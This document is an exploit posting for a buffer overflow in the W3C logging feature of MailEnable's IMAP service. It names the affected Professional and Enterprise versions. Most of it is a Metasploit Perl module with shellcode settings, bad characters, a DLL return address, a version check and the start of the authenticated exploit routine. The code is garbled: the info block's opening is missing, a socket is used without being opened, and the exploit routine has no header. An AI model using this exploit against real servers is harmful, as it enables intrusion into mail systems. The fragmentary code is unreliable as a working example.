"MailEnable provides robust SMTP and POP3 services for Windows NT/2000/XP/2003 systems."
The following Metasploit module exploits a buffer overflow in the W3C logging functionality of the MailEnable IMAPD service. Logging is not enabled by default and this exploit requires a valid username and password to exploit the flaw.
Vulnerable Systems:
* MailEnable Professional version 1.6 and prior
* MailEnable Enterprise version 1.1 and prior
Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::mailenable_imap_w3c;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Tcp;
use Pex::Text;
},
'Payload' =>
{
'Prepend' => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
'Space' => 600,
'BadChars' => "\x00\x0a\x0d\x20",
'Keys' => ['+ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a buffer overflow in the W3C logging
functionality of the MailEnable IMAPD service. Logging is not
enabled by default and this exploit requires a valid username
and password to exploit the flaw. MailEnable Professional version
1.6 and prior and MailEnable Enterprise version 1.1 and prior are
affected.
}),
'Refs' =>
[
['BID', 15006],
],
'Targets' =>
[
['MailEnable 1.54 Pro Universal', 0x1001c019], #MEAISP.DLL
],
'Keys' => ['imap'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Check {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
$s->Send("QUIT\r\n");
my $res = $s->Recv(-1, 20);
$s->Close();
if ($res !~ /MailEnable Service, Version: 0-1\.54/) {
$self->PrintLine("[*] This server does not appear to be vulnerable.");
return $self->CheckCode('Safe');
}
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $targetIndex = $self->GetVar('TARGET');
my $user = $self->GetVar('USER');
my $pass = $self->GetVar('PASS');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $shellcode = $encodedPayload->Payload;
my $target = $self->Targets->[$targetIndex];
